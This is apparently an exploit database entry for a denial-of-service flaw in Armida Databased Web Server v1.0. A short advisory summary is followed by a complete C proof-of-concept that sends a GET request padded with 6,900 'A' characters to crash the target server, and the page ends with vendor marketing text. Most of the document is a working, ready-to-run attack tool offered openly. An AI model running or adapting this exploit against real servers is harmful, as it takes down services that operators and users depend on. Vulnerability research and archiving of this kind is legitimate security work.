// source: https://www.securityfocus.com/bid/8017/info
Armida Databased Web Server is reportedly prone to a remote denial of service when process malicious GET requests. The problem occurs when processing requests containing excessive data.
Exploitation of this vulnerability would result in the remote service crashing.
Although unconfirmed, due to the nature of this vulnerability it may be possible to supply and execute arbitrary code.
/**************************************************************
*
* Denial of Service Attack against Armida Web Server v1.0
* * Tripbit Security Development
* ----------------------------
*
* Author: posidron
*
* Contact
* [-] Mail: [email protected]
* [-] Web: http://www.tripbit.org
* [-] Forum: http://www.tripbit.org/wbboard
* [-] IRC: irc.euirc.net 6667 #tripbit
*
* Greets: #csec, #securecrew, #tripbit
*
**************************************************************/
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
int main(int argc, char *argv[])
{
int port, sockfd;
struct sockaddr_in server;
struct hostent *host;
char send[6915], flood[6900];
char get[3] = "GET", http[12] = "HTTP/1.0\n\n";
memset(flood, 'A', 6900);
strcpy(send, get);
strcat(send, flood);
strcat(send, http);
if(argc < 3)
{
printf("Usage: %s [target] <port>\n", argv[0]);
exit(0);
}
port = atoi(argv[2]);
host = gethostbyname(argv[1]);
if(host == NULL)
{
printf("Connection failed!...\n");
exit(0);
}
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr((char*)argv[1]);
printf("DoS against Armida v1.0\n");
if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
{
printf("Can't start socket()!\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
{
printf("Can't connect!\n");
exit(0);
}
write(sockfd, send, strlen(send));
printf("Attack done!...\n");
close(sockfd);
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation